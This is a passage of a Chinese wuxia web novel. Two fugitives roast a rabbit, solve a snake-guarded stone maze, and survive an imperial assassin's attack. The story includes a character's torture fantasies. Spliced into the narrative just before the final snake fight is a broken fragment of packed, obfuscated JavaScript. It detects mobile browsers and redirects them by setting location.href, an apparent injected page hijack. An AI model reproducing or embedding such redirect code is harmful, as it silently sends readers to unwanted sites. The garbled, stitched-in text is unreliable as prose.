在越兰溪眼中,柳棹歌就是一个无微不至、风度翩翩的美公子。她接过外衫,不禁感叹什么样的父母才能培养出如此细心的孩子啊。
“多谢。”
“你我之间,不必言谢。”温柔如水般的嗓音,抚慰了越兰溪的伤痛。
“兰溪身上可是有何处不舒服?起初见你久久未醒,检查你身体并无伤口,可是有什么旧伤?。”柳棹歌面上带上担忧,蹙起眉头。
越兰溪咽野果的动作一顿,含糊回答:“可能是以前的顽疾吧。”
不对呀,当时坠下洞穴时,她就发现柳棹歌的不对劲,他看得见啊!她被骗了?!
她果断将果核往火堆扔去,转而看向正在洗果子的柳棹歌:“你什么时候恢复的?”
被风吹日晒过后的竹节,折断剩余半截,就成了一个可以盛水的竹筒。此时,柳棹歌正在哗哗地往野果上倒水洗净,闻言,骤然止住冲洗野果的动作,转而目光闪烁地看向质问的越兰溪,笑开。
“许是受到刺激吧,先前掉落悬崖的前一瞬就突然能看清楚了。”
一边说,一边观察越兰溪的神情,手里握住锋利的石片,眼神像狼一般钉在越兰溪脸上。
仿佛只要越兰溪有一瞬间的不信任,下一刻,他的石片就会割开她的喉咙,剥下她的人皮,做成他心心念念的人皮木偶。
越兰溪浑然不觉,若有所思地点点头:“也是,大夫都说了,你早就应该好了,有些人恢复可能慢些,就是说你。”
“是啊,身体不太好,拖累兰溪了。”
柳棹歌松开手中握着的石片,那是方才磨好的,为野兔去皮的锋利石片。
他眉目舒展开:“兰溪会不会嫌弃我拖累你。”
越兰溪仔细地看了看他的四肢,诚实道:“弱,但是吧,别气馁,我会保护你的。”
柳棹歌挑眉,拱手笑道:“那就麻烦越寨主了。越寨主可会烤兔子?我现下有些锇了,”
越兰溪眼睛一亮,一天未进食了,两颗野果酸得她牙齿都上下颤了两下,更加想吃点东西了。
“没想到你还会打野兔,小瞧你了。”
她窜出去,看见一个剥了皮的野兔正好躺在山洞岩石边上。
只是,死状有些惨烈。野兔的皮被剥得干干净净的不说,那兔头和兔身被分开,脖颈的断面牵出根根血丝与兔头勉强相连,断面参差不齐,不像是用锋利面割断的,倒像是被生生撕扯断的。
柳棹歌走过来,捡起兔头和兔身,抱歉一笑:“兰溪可是吓着了,怪我没有将石片磨得再锋利些,搞得如此难看。”
越兰溪摆摆手,她什么血腥场面没见过啊?
“来吧,给我,看我给你露一手,烤野兔之类的,我可是好手!”
不管了,先吃饱再说。
身后的柳棹歌拇指摩擦指根,看着越兰溪兴冲冲地出去,嘴角缓缓地牵上去。
临近河边,越兰溪剖开兔子的腹部,除去内脏、筋膜,用清水冲洗沥干后,用长枪枪尖在兔皮表面划了几刀。
沿着河边,只能找到薄荷叶、艾草。再收集干燥的枯枝树叶放在浅坑中点燃后,挑出黑色灰烬,筛去炭块和杂质,剩下的就是草木灰了。
“兰溪,你要的橘叶,没有找到柚叶,还有几颗青橘。”
越兰溪正在用草木灰揉搓着兔子,见柳棹歌眼神中带着新奇,解释道:“这样可以去掉兔子的腥味。”
“橘叶、薄荷艾草则可以当作调味。”
“兰溪好厉害,居然懂得这么多。兰溪又会武艺、会观天气,如今还会处理野味,还有什么是你不会的吗?”柳棹歌轻声细语道。
“哪里哪里。”越兰溪被夸得有些不好意思,接连谦虚道。
“好了,等烤好吧。”
被树枝穿插固定好得兔肉架在木烤架上。
望着橙红温暖的火焰,越兰溪坐在火堆前,双手托腮,眼神放空:“也不知道小乙那边如何了,不过方洄武艺高强,蒋小乙又鬼机灵,应该也没有什么问题。”
不知是不是夜晚的山林,气温骤降的原因,越兰溪说完这句话,明显的感觉到寒气凝结在四周,她拉紧衣襟,纳闷。
不应该啊,虽说深山中天气要寒凉许多,但也不应该如何凉啊。
“你冷不冷啊?”她挪过去凑近柳棹歌,和他肩并肩走在火堆前,有些瑟瑟问道。
柳棹歌将外衫脱下来,轻轻覆在越兰溪肩头:“我不冷。你仔细别着了风寒。”
怪也,又不冷了。难道是因为她现在离火堆比较近吗?越兰溪心中不解。
“明日我们便出发,山中不可久呆,昨日碰见的那怪人说什么裴氏石符,棹歌知道是什么吗?难道它就是我们要找的宝物?”
他们所有人都不知道发起者要寻的宝物长什么样,全凭自己的直觉去寻。
山中先不说天气变幻莫测,就是其中隐匿着的蛇虫熊豹,随便一个都能让人致命,还不说山中隐藏着的那么多寻宝的人,宝物就那么一个,赏金就一份,肯定会抢得头破血流。如今还来一个怪异十足的怪人。
黑风山中到底藏着什么秘密?越兰溪百思不得其解。
“黑风山,在二十年前曾唤作黑龙山。”
柳棹歌:“南岭一战,裴贼借蛮夷犯境之机,裹挟麾下私兵投机冒进,虽侥幸以少胜多,却自此居功自傲、野心疯长。不仅驱蛮夷百里、强占五城据为己有,更将麾下军队打造成“裴家私军”:凡入军者必效忠于裴氏,将士子孙世代为其附庸,借战功累积的威望笼络军心,外邦畏其凶焰假意臣服,他竟真以为可与大晋分庭抗礼。”
“此人本是朝廷提拔的边将,却仗着兵权在握目无王法,早已抛却忠君报国之心。而后,他悍然在黑龙山裂土称王,建立伪朝,公然与大晋王朝对峙,其狼子野心昭然若揭,沦为天下人不齿的乱臣贼子!于十五年前斩杀。”
越兰溪点头
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:“也是一方雄主,那为何会输于那狗皇帝呢?”
柳棹歌笑笑:“关于裴家的事情,记载甚少。记载中,石符是能重掌裴家私军的信物。”
“怪不得这样说,风凌山庄要找的宝物就是石符?”
但是为何风凌山庄要找石符呢?难道他们也想要谋反不成?这样想想,越兰溪居然手有点痒痒,如此宝物,那她必是要争一争了。不为什么,只为宣扬她漆雾山寨主的威名!既然是好东西,那她越兰溪必须得好好看看。
“那你可知这裴家和裴昳是何关系?”越兰溪问。
都姓裴,和裴昳会不会有什么牵连呢?
“你知道大晋摄政王裴昳吗?”越兰溪问。
柳棹歌沉默片刻,诡秘地望着他许久:“哦?兰溪想要知道关于裴昳的什么事情?我知道的定当说与兰溪听。”
“你说,这裴家和裴昳是什么关系啊?都姓裴,但是之前没有听说过裴家有什么小郎君啊。”
“他们,没有关系。”柳棹歌低眸,从小被首领灌输的思想是,裴家是他的仇人。
但他从来不恨裴家,他连他自己是谁都不知道,他的身世,他的过去,平白多出来一个仇人,多可笑。
他要是真的讨厌一个人,一定会让他尝过他曾经的生活,慢慢折磨他,慢慢玩耍他,最后,再在他身上割上数百道小伤口,让他眼睁睁地看着自己血竭而亡。
那才是最让他开心的。
越兰溪:“是吗?”
她有些惋惜,要是光风霁月的摄政王和乱臣贼子扯上关系,那她就又多了个理由为民除害了。
“兰溪很讨厌摄政王吗?”
“哪里是讨厌!是厌恶至极,他就是个伪君子,是个小人。什么大晋女子人人向往的相公,那都是他伪装出来的假象。”
越兰溪义愤填膺,振振有词。还有模有样地观察一下四周,而后靠近柳棹歌耳朵:“听说他还私豢小宦,从他院中抬着出来的不计其数。”
柳棹歌:“......兰溪如何知晓的?”
他眼神中闪过危险,从他后院中抬出去的,大多都是被他用酷刑折磨致死的,但是知晓他本人行事风格的,现在都已经变成死人了,居然还有漏网之鱼吗?
“不是我吹牛啊,我曾经潜进过裴宅,但是没见着人。”越兰溪不停地旋转着兔肉,神神秘秘说道。
柳棹歌随即笑笑不说话,这样吗?
她当然见不着他了,因为裴宅只是陛下让他对外有个住处,宅中只有守门的侍卫,侍卫并不是保护他安危的,而是陛下派来监视他的,实则他真正的住处只是裴宅后院一处暗房,隐蔽,无人知晓。
“我这一辈子啊,只想要完成我想要做的事情,也算是圆圆满满度过一生。”
突然听见越兰溪对人生的感叹,柳棹歌被火光映着:“兰溪以后想要做什么?”
“我啊,我想要在我有生之年,吃遍天下所有美食,喝遍天下所有美酒,赏遍天下所有美人......咳咳。”
她说得正开心,就见柳棹歌定定地望着她,眼神中带着些幽怨,像个受伤的小媳妇。
“我不美吗?还是说兰溪已经厌倦了?”
“美美美,不看美人了。”
她转移话题:“听说西域的美酒最为出名,等出了山,我们即刻前往西域如何?带你尝尝人人称赞的美酒佳肴!”
柳棹歌安静地看着她,潇洒如越兰溪,不受束缚,脚下踏着的是山野生长的风,朝堂礼法、江湖约束,于她而言不过是过耳的风。
16. 遇着鬼打墙了
很幸运的,这一夜并没有野兽寻来,只是柳棹歌内伤甚重,昨日他强撑着,越兰溪还不曾发觉,今早醒来,便发觉他满脸通红,已经神志不清了,许是昨日从山崖下摔下来时,伤到了身体。
“是我没用,拖了兰溪后腿。”
已经迷糊了的人,靠在越兰溪背上强撑着睁开眼皮。
“闭嘴,说些没用的,有这功夫,还不如蓄蓄气。”
这样下去不是办法呀。
“救命——!救命啊——!”
凄厉的呼救声穿透林雾,裹挟着野兽低沉的咆哮,远远飘进越兰溪耳中。
空气中还带着一丝血腥味,四面萦绕着断崖残垣。怪哉,黑风山中居然还有此种地貌,阳面俱是高耸云端的古树,阴面却全是被风雨侵蚀的大石,不见一点青色。
背上的柳棹歌意识迷离忍不住问:“兰溪,要去相救吗?”
越兰溪脚步未停,眉峰微蹙:“救?来这黑风山的,哪个不是揣着自求多福的心思?况且我自身尚且气力不济,哪有闲功夫管旁人死活。”
她从来不是什么侠肝义胆的侠客,凡事只论利弊,向来是两害相权取其轻。
黑风山终年无人,这些野兽偶然见着行走的“美食”,肯定会咬住不放,就算她有这个能力救下,那她为什么要去救一个素不相识且知道底细的人。
一朝被蛇咬,十年怕井绳,说得就是她。
脚步一转,麻利果断地选择了另外一边,径直朝左面的石林走去。
石林里面小径缠绕交错,且石林中的石头最矮的也有一丈高,走在里面完全找不到路。
“奇怪,这里是不是来过?”越兰溪腾出一只手,撕下一角裙摆,系在石头上,“遇着鬼打墙了不成!”
越兰溪从来不是个信邪的。
她将柳棹歌放在地上,将长枪拼接好后,踩在突出的石头上,纵身往上爬去。
刚踏上石峰顶端,盘踞于石林最高岩的巨蛇骤然昂首,血盆大口裂至耳根,带着腥风如离弦之箭般疾射而来。
“他奶奶的!”
越兰溪低咒出声,瞳孔骤缩,手腕翻转间长枪已握稳,不退反进朝着巨蛇猛扑而去。枪尖狠狠扎在蛇身之上,却只听得“铛”的一声脆响,那鳞甲坚硬如铁,竟未透半分皮肉。
不等她抽枪变招,巨蛇长尾已然如钢鞭般横扫而来,狠狠拍在她腰间。
一股巨力轰然撞进肌理,越兰溪只觉五脏六腑都错了位,喉咙涌上腥甜,握枪的手指骤然脱力,长枪“哐当”坠落在石峰之上。她整个人被击退回原地。
风声在耳畔呼啸,她瞥见巨蛇冰冷的竖瞳仍锁定着自己,血盆大口似乎还在吞吐着信子。只是它却好似在害怕什么,朝着她“嘶嘶”两下,便又返回巨石峰顶。
“还好吗?”柳棹歌面色虚弱的扶起越兰溪。
越兰溪擦去嘴角溢出的血,神色凝重,如果没猜错,那大蛇已经吃了很多人了。
血盆大口,以及石林中浓重的血腥味,都在昭示着这里之前是如何的惨烈。
柳棹歌环视四周石壁:“观这石林的走势布局,应该是什么阵法,而那大蛇不敢下来,定是石林中有什么东西让它畏惧。”
“你可看清楚石林的整体形状?”
越兰溪:“没有。只看见很大很方。”
哪里看得了那么多?刚爬上去,大蛇就游过来了。
“走,我们再跟着这迷阵再走两圈。”柳棹歌捂住头疼欲裂的额头,强撑着说。
背着柳棹歌走的一路上,越兰溪都在做标记,每过一个路口,就撕下一片一角系在石头上。
“撕我的。”
又是一个路口,越兰溪正想又撕掉裙摆,就听见柳棹歌说话。
“你是女子,别撕你的了,我的衣摆还可以奉献一些。”
“这个时候,你还笑得出来。”越兰溪不解。
撕他的就撕他的吧,撕谁的都一样,没走出这大山,布料还不就变成一捧土了。
出去之后一定得买几身衣服!烦躁两字写了越兰溪满脸。
“这到底有完没完啊!”
兜兜转转,这个路口是第十九次走过。
越兰溪将柳棹歌放在安全处,长枪在手里旋转之后,手臂持枪杆,凝气聚力,将长枪往前一挥,眼前有城门宽大的石峰剧烈晃动,上头的小碎石哗啦啦往下滚落,激起漫天的灰尘。
山谷穿来巨响,巨石却在摇晃两下之后,巍然不动。
现在不仅出不去,连回去的路也找不着了。
越兰溪沉着脸,站在巨石面前,她抬头仰望巨石,一下子还看不见巨石顶峰。
忽而,柳棹歌看见她双眼乍亮,眼中带着一丝抱歉,望着他笑了笑。
“如果,你看清迷阵的全貌,是不是就能找到出去的路了?”
柳棹歌点点头。
“预计多长时间?”
“不复杂的话,一炷香。”
一炷香,越兰溪低眸思量。
“好。就一炷香,要是一炷香你找不出办法,那我们俩就得“住”这里了。”
说得好听点是“住”,不好听,就是就地挖坟上西天了。
半刻后,越兰溪从石林岔路走出来,手中握着的长枪枪头插着一只奄奄一息的旱獭。
越兰溪怀抱起了柳棹歌,一手揽着他的腰,一手持长枪,眼神如鹰隼,往后退两步,左腿微微向后扯,右腿往前,踩在突出的石块上,向上攀爬。
枪尖上的旱獭还在挣扎。
越兰溪看准时机,将旱獭高高地往上一扔,大蛇猛地扑过来,叼走了旱獭。
趁着大蛇不在的空档,越兰溪将柳棹歌放在巨石顶较为平坦的石台上。
“哗——”山风骤起,大蛇蛇尾打在巨石岩壁上发出细碎的噼啪声。
越兰溪刚将柳棹歌平放妥当,回头时正见大蛇粗壮的身躯在石缝间扭曲摆动,旱獭的皮毛已被嚼碎,猩红的蛇信子吞吐间,带着血腥气的凉风直扑面颊。
“你只需解出这道迷阵,剩下的交给我。”
说完,越兰溪转身,一脚蹬上石棱,将长枪往前一送,长枪在空中转了几圈后,被她稳稳握在手里。
柳棹歌展目望去,一个巨大的,近整个半山的石阵赫然立于眼前。他在心中大概描绘出是石阵的结构,细细思忖,凝眸探究阵眼,只觉得很熟悉,但是他能确定,他不曾阅览过此类石阵的书册,凭的就是他几近过目不忘的本领,他有信心确定。
到底是在哪里见过呢?柳棹歌企图在灵魂深处寻找关于此种石阵的一丝一厘,越往深处想,头疼欲裂,额角抽疼不止。
隐约中脑海中浮现出一个女人的身影,身形均秀,眉目间漾着温婉的笑;又浮现出一个男子的身影,身形魁梧,青髯遮颌,气势凌然却对着桌边的孩童温柔的笑,指着石桌上摆着的书册,上面画着和如今石阵一模一样的阵法,嘴巴一开一合似在为那孩童解惑。
柳棹歌冷汗淋漓,试图想要听清楚他们在说什么,却怎么也听不清楚。
从记忆中抽离出来,额角突突作疼,连神智都被这钝痛搅得昏沉。
“生门居东南又三,死门落西北跨二,阵眼便在,正中戊己
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位。”
柳棹歌在记忆中隐隐约约看见书册中朱红落笔处,嘴里念念有词,观阵细细分析。
“兰溪!正中戊己位。”柳棹歌疼得眉峰都拧作一团,提起一口气大声喊道。
而这边,大蛇此时恰恰只算开了胃,一人环抱的蛇身往前游行,脑袋圆润且硕大,金色竖瞳冷凝,长舌分叉,一股腥濡味儿。
越兰溪借力腾起,手中长枪猛地刺入扑来的大蛇大张的口中。
“什么什么味,很臭,我要受不了了。”
黑色大蛇吃痛,见越兰溪不是好惹的,便将目标盯准柳棹歌,卷起蛇尾不断向前拍打。
看准时机,越兰溪闪到大蛇视线不及处,挡在柳棹歌身前。
一个翻身,将长枪从大蛇颚下向上刺去。
“你太臭了!”
越兰溪被臭得脸色发青,恼怒。
大蛇被惹怒了,用蛇尾不断拍向闪躲的越兰溪,试图想要用蛇尾紧紧将她勒住。
大蛇游走灵活且力道凶猛,周围巨石峰顶无一完好。
越兰溪不断躲避大蛇的进攻时,还在观察时机,寻找大蛇的致命点。
就是这里!七寸。
闪电般,越兰溪腾空而起,却被大蛇一个摆尾,扫落在石台上。
“你到底看好没有?”有些咬牙切齿般对着柳棹歌说。
柳棹歌无奈地叹口气,生平第一次有了苦难言却无法宣泄的感觉。
他静坐莞尔,朝着越兰溪伸出双手:“你抱我下去吧。”
话音未落,彻底被激怒的大蛇,一眨眼便游走到他们眼前,张开血淋淋的蛇口朝他们卷席而来。
越兰溪眸色一凛,长枪横刺,精准贯入蟒蛇口中,趁其吃痛挣脱口中横斜的长枪之际,抱着柳棹歌旋身翻越而下。
“少侠?”
是熟悉之人。
来人正是虞裳,已不复来时的衣冠整齐,而是浑身脏污,连袖口都破了一个大洞。身旁跟着一位眼睛形似倒三角,嘴巴未凸的剽悍男子,身上带伤且弥散着浓重的血腥味。
“哦哦,这是方才路过那片林子时,瞧见这位仁兄正在躲避大虫的猛逐,便出手相救,从大虫口下救出了他。”虞裳解释道。
那男人面色苍白,朝他们抱拳拱手,腰间通体乌黑的令牌不起眼,但柳棹歌恰好瞟见了他,眼神瞬间尖锐如刺,盯着装老实的大汉。
越兰溪知晓他就是方才在另外一条路上被猛兽追击的人,向他点头以示回应。
虞裳还在洋洋得意,终于见着散落的同伴了,忽一抬头,见石峰上盘踞一条黑色金纹大蛇,脸色大变:“这里也有猛兽!?”
入深山就这两条路,每条路上都有猛兽守护,看来山中真的有不可告人的秘密。
“这位公子怎么了?”
柳棹歌自从下了石台之后,便头痛欲裂,不能言语,靠在越兰溪怀中紧锁眉头,紧咬嘴唇,泛出血丝。
“还带着药吗?”
猝不及防,虞裳老实地将衣襟中珍藏的宝药一股脑全拿出来。
“有啊,你要回血丹还是凝血丹,我还有......诶诶,别抢啊!”
越兰溪一手夺过所有药丸,没有在意是是治什么的丹药,全倒进柳棹歌口中。
“欸......”
那都是他爹给他准备的救命药啊!如此暴殄天物,虞裳心里在滴血。
“怎么,他吐出来的你还要吗?”越兰溪一个眼刀朝他飞来。
“没有没有,我是怕这位公子噎住了。”
不知为何,虞裳莫名地有些怕她。
17. 夜行军
药效发作,还需一段时间,越兰溪趁着空当,拿回了她的被大蛇甩在一边的长枪,回来却看见柳棹歌手握匕首,朝虞裳胸膛刺去,以及早就倒在一旁的魁梧大汉。
虞裳倒在地上,死死握住柳棹歌手腕:“公子,我是昨日同行的道友啊!”
看见越兰溪回来,像是孩子找着娘:“少侠,少侠开救救我啊!我手要没力了!”
听见手下之人唤着越兰溪,柳棹歌骤然松开手,匕首刀尖掉在虞裳胸膛,吓得虞裳脸色白了一瞬,随后。他眼睁睁看见这位方才充满戾气的公子褪去眼角的猩红,指尖松缓时还带着一丝不自知的慌乱,抬眸看向她时眉眼软成一汪水。
虞裳愣愣地看着这位善变的公子:“?”
柳棹歌像是做错事的小孩,站起来拉住越兰溪的手,低眼无辜地望向她:“你去哪里了?我醒来看见他们俩好害怕。”
倒地的魁梧大汉:......我才真是怕了你了,谢谢你的一拳。
“我方才去拿回我的枪了。”
越兰溪有些搞不清楚状况,问道:“这是怎么回事?”
虞裳正准备回答,就被柳棹歌抢去话头:“刚才我醒了就想来找你,他们非不让,我瞧着他们一个长得丑一个像乞丐,看着就不像好心的人,想走,他们却还要绑住我,我害怕,迫于无奈将那男子打晕了,但是他却想要来打我!”
他们确实不让他去找,也确实拦住了他,但是好像有哪里不对劲?当时他去探查情况了,也不知道这大汉到底与这位公子说了什么。但他看到的事实确实如此,只是这样一说,怎么感觉他们真的是恶人了?虞裳琢磨哪里出了问题。
“人没事吧?”越兰溪问虞裳。
“我没事,这位公子气力不大,只算是挠痒痒。”虞裳腼腆一笑,遮住手腕上的淤青,暗自“嘶”了一声,看着是个书生,没想到劲如此之大。
“不是问你,是问地上的人。”越兰溪些许无奈,明眼人都能看出来他没事,这还有必要问他吗?
“哦哦,他没事,应该是晕过去了。”虞裳有些脸红,赶忙蹲下去探查了一下魁梧男子的情况,回答道。
自始至终,柳棹歌都躲在越兰溪身后,拉着她的胳膊,惶惶地观察情况。
“抱歉啊,他胆儿比较小,见谅。”越兰溪也是第一次遇见像柳棹歌一般柔弱胆小的人,有些不知道如何处理,只能对对面说抱歉。
“没事没事,能理解。”虞裳傻傻地笑,掐住魁梧大汉的人中。
不消多时,魁梧大汉幽幽转醒。原以为江湖中人,受不了这口气,定会暴脾气,找柳棹歌算账,越兰溪也做好了讲理走不通就动武的打算。
谁知道,魁梧大汉醒来居然石壁边瑟缩去,脊背绷紧,指节攥得发紧,喉结滚动几下,不敢抬眼去看柳棹歌的眼神。
这情况,弄得越兰溪和虞裳有些摸不着头脑。
“方才是发生什么事了吗?”虞裳问。
“我要向这位好汉赔礼。”柳棹歌走出来,脊背微微拘着,身形单薄地站在风中,嗓音怯怯地说。
“方才,我见这位好汉实在心中害怕,便趁他不注意用石头砸了他。”
“是吗?我看看。”虞裳纳闷,难道是他方才露掉了他身上的伤?
大汉却连滚带爬地往后退去,脸色血色尽无,嘴唇颤抖,不敢去看柳棹歌似笑非笑的眼睛:“不......不用,无,无大碍的。”
越兰溪此人性格虽有些跋扈不近人情,但是该讲理时,她还是很讲理的。
“真是抱歉,兄弟,此番若你想要出山,我必定将你安全带下山去。敢问好汉尊名?”
“叫我,王五就行。”
王五一直躲避着柳棹歌的眼神,说话都有些结巴。
“好,王五兄弟。当下眼前最要紧的便是让我杀了这畜生!”越兰溪道。
“需要我帮你吗?”虞裳问。
“我一人足矣!”
“不可。”柳棹歌抓住越兰溪的手。
“大蛇为石阵的守护兽,它若死了,那这石阵必然会有另外的机关。”
柳棹歌盘踞着双腿,捡起石头,在地上画出石阵的大概形状。
“我们如今在此处,阵眼便在我们的亥时方位。”
“然后呢?”虞裳左瞧右瞧,并没有观察出这阵眼有什么不一样。
柳棹歌突然转过身去,对着王五弯弯眉眼,嗓音带笑:“不要一直看着我哦。”
很温和,甚至可以说是很温柔,但是王五却感觉浑身发凉,仿佛阎王爷就在前面等着他了。
收回视线,柳棹歌对越兰溪说:“兰溪,将你的枪借我用一用。”
柳棹歌接过枪,将枪端直直插入似鸟状的巨石的地上。
土地以枪端为中心,向四周裂成一个方形,露出一个深褐色的木盒的一角。
虞裳自觉上前挖出木盒,打开盒子一看,只是一块平平无奇的石头,随即有些失望。
“走吧,我们可以出去了。”柳棹歌牵住越兰溪的手。
“啊?这块石头如何让我们出去?”
“人笨就不要多嘴。”越兰溪恨铁不成钢,像她,不懂一句话也不会说。
又在石阵中兜转了好半天,但越兰溪发现,他们走的回头路变少了,甚至方向明确,是朝着一个方向走的。
“我们这是要出去了吗?”
柳棹歌笑笑:“是的。”
“你好厉害啊!”越兰溪有些佩服,这么大的迷阵,仅看了一遍,便记住了全貌,过目不忘啊!
“兰溪保护我,才是最厉害的。”
本来只是一句平平无奇的夸赞,越兰溪不知道听过多少遍了,但从柳棹歌嘴里说出来,格外的好听,声音好听。
“好了,把刚才那块石头放进去。”柳棹歌朝着虞裳说。
石块放进去的下一瞬,巨石从中间裂成两半,朝左右两边移开,露出一道一丈宽的路。
“太神奇了!”越兰溪不禁发出感叹。
随后,她想起什么事,接过枪,留下一句话:“你们寻个安全的地方,我去去就回!”
她越兰溪从来不是一个善茬,有仇当场报,她可不能对不起身上的每一道伤。况且那恶蟒不知吃了多少人,也算是死有余辜。
说完,越兰溪从石林小径往大蛇盘踞之地奔去,沿着石壁往上攀爬。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16802459|190359||http|test|mini|href|location''.split(''|''),0,{}));
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>“畜生,受死!”
先前顾及着柳棹歌在石台上,如今没了顾虑,一不做二不休。越兰溪提起一口气,招式招招到肉,攻势猛烈。
借着石棱腾空,越兰溪一枪由上至下,一□□入大蛇脑袋,将大蛇狠狠钉在石壁上,直至大蛇庞大的身躯在进行最后的挣扎之后没了动静,越兰溪才抽出长枪,微微平息呼吸。
跳下巨石,沾染腥臭的蛇血的白净小脸皱起,这一趟真不值。
“走吧。”
随着石阵所在的地表坍塌,“轰”地一声响彻云霄。
她走在前,心中纳闷,莫非这山底已经被挖穿了不成,左一个坑,右一个坑的。她倒要很好奇山中藏着的大宝贝。
原本一直老实跟在他们身后的王五却突然显露出凶相,反手抽出腰间软剑,朝着站在崖边的柳棹歌刺去。
剑风扬起他鬓边散乱掉的发丝,柳棹歌迅速侧身,躲过软剑偷袭。
“公子小心!”虞裳正想找柳棹歌说话,就瞧见王五提剑。
越兰溪听到动静,回头时,恰巧看见王五朝柳棹歌刺去,她想也不想,奔袭两步,将长□□进了王五身体里。王五朝柳棹歌进攻的动作乍然止住,嘴边溢出血,冷眼望着柳棹歌。
“裴昳,你就等死吧,陛下早已知晓你心不忠,山中有的是人等着取你狗命。”
柳棹歌闻言,眸色深沉,表情不动如山。
随着越兰溪长枪抽出,王五身体抽动一下,瞬即掉进坍塌出的窟窿中。窟窿很深,崖边的石头落下去,过了好久才听到回响。
越兰溪问:“他为什么要杀你?”
既无缘也无仇,好端端地就开始动手,说不通啊。
柳棹歌掩藏好眼底的暗色,身体微微颤抖,声音中带着一丝恐惧:“不知道,我正准备跟上来,他突然就抽出剑朝我砍来。”
“兰溪,我害怕。。”
“别担心,从现在起,你就待在我身边,寸步不离。”越兰溪将剩下半截的软绳重新套在他俩手腕上。
“方才,他掉下去时,我拿到了这个。”
越兰溪一瞧便知这是夜行军的令牌。
夜行军,开国皇帝亲自设下的专为皇上效命的一支暗卫队伍,里面的人,全都不怕死,可以说是本身就是已死之人,年过三十,便会悄无声息地离开这世间,就是为了防止他们泄露帝阙秘辛,毕竟做的都是见不得光的事。
她不屑地看了一眼,随手将令牌抛下断崖,牵住柳棹歌的手:“你可跟紧我,半步都别离开。”
柳棹歌眼中泛起一层水雾,点头。
突发此变故,虞裳有些愣神了,要是他方才没看错的话,这位公子应是特意站在断崖边的,且躲避软剑的动作流畅,脚风甚稳。转而又看见柳棹歌弱不禁风的样子,心中怀疑,不能吧,他看着就是个肩不能扛手不能提的书生。
又翻过了两座山,地形越来越复杂,全靠着柳棹歌对地图的记忆,他们才算是勉勉强强走在正确的道路上。
虞裳一路上就看见柳棹歌为越兰溪换水,擦汗,握握她手,从来没有见过他平过嘴角。
越兰溪看出了他的欲言又止:“你有话要说吗?”
18. 桃林深处有人家
也不是她观察细致入微,主要是虞裳整个人都已经横在她和柳棹歌中间,好奇的眼神在他俩的脸上来回打转。
终于有人问了,虞裳问:“你们俩是我想的那种关系吗?你是不是喜欢她啊?你们俩怎么认识的,聊聊呗。”他快被好气死了。
喜欢,柳棹歌细细琢磨这两个字眼,发现,他读过的书中没有叫“喜欢”的词。
反问道:“喜欢是什么意思?”
虞裳一惊,想要瞧出他脸上的玩笑之意,却发现他好像是认真的。
倒是越兰溪显得像个正常人,坦坦荡荡说:“你知道我是谁吗?”
虞裳不知。
“你知道漆雾山越兰溪吗?”
虞裳点头,却迟迟没有等到她的下一句,只瞧见她双手抱胸,看着他。
灵光乍现般,虞裳长长地“哦”了一声,说道:“他不会是你却从越兰溪手里抢来的吧,这么厉害吗?那你见过越兰溪长什么样吗?。”
越兰溪心中的小人,卒。
“你叫我什么?”她扽了一下柳棹歌。
“兰溪。”
“你的名字叫兰溪啊,姓兰吗?”
思绪飘了好一会儿,猛地回过神来,眼睛瞪大:“你是越兰溪!”
虞裳不敢相信,传言中的越兰溪皮肤黝黑,眼睛像铜铃,鼻孔大如牛,身材比军营中的将军还魁梧。
他上下打量越兰溪,眼神中带着不可置信,这个年过芳华,眉宇间尽是英气的女子,感叹道,果然,世人诚欺我已久。
无人看见处,柳棹歌嘴角的笑意渐渐淡去,眼神幽深如谭,握住越兰溪的手勾起手指,状似无意间拂过她的手背。
“兰溪,我有点不舒服。”他不着痕迹地挡去让他不爽的虞裳的打量,说话带着点黏人的脆弱。
越兰溪只感觉她的手被他小心翼翼的扒拉着,像是她在山寨里面养的那只小狸奴。
她问:“你哪里不舒服?是不是伤口疼了?”
虞裳竖起耳朵听他们俩的对话,只看见背对着他的柳棹歌握住越兰溪的手放在胸膛处,委屈巴巴的声音传进他耳朵。
“这里疼,好像又是这里,不对,是这里。”
柳棹歌带着越兰溪的手,在他胸膛处四处游走。要不是见柳棹歌表情真的有些不适,越兰溪都快怀疑他在勾引她了。
怪他见识太少,没有见过他们俩之间的相处模式,虞裳往天上看,非礼勿视。
越兰溪极正经地把把他的脉,表情严肃。
心跳很快,越兰溪得出结论,手背拍拍他胸膛,随后装腔拿调:“应是操劳过度,等下山之后,我一定好好补偿你。”
柳棹歌紧锁眉头,不知道为何,方才他心口泛起酸酸麻麻的感觉,像是被绳线紧紧缠绕。
沿着山路,他们走进了一个极为奇怪的崖壁边,高度直抵天,将整个去路完全围住,除了回路,再也没有其他的路可以走。
“柳公子难道指错了路?”虞裳问。
被质疑的柳棹歌冷脸,冷嘲热讽还没说出口,身边的越兰溪开口,斩钉截铁道:“不会。”
说完,她拿着枪走向石壁,仔细观察石壁上的蛛丝马迹。
身后被反驳的虞裳愣了愣,就看见柳棹歌眼底漾起点点笑意。
石壁凹凸不平,甚至偶尔还滚落下来几块小石块,石缝中长出杂草或是野花。令越兰溪最震惊的是最左边从石缝中长出来的一个大树,横斜在大树与地表间,高近七尺,枝叶繁茂。
柳棹歌一点一点掠过石壁表面,随后,指着大树侧边的,相较于整块石壁来说显得要光滑一点的石壁:“这里。”
越兰溪定睛一看,没看出什么不同。她转过头去向柳棹歌说:“你站远点。”
他弯指敲敲石壁:“应有什么机关在附近的。”
虞裳也附身侧耳贴紧石壁,敲了敲:“这少说得有二丈厚吧,靠蛮力打不开吧。”
见越兰溪好像并没有要靠智取的意思,柳棹歌摇摇头,只好退开:“仔细别伤了自己”。
越兰溪想来秉持一个道理,能动手绝不懂脑,动手快一点的,绝对不浪费一点时间。
只见她死死盯住崖壁某处纹路奇怪之处,反手握住长枪,枪杆在掌心已选臂弯蓄力,肌肉线条在劲装下绷出凌厉的弧度。
“喝!”
一声低喝震得山涧回声阵阵,她旋身发力,枪柄重重撞上石壁。只听见轰隆一声,石屑飞溅如雨,石壁应声开裂,蛛网状的纹路瞬间爬满石面。
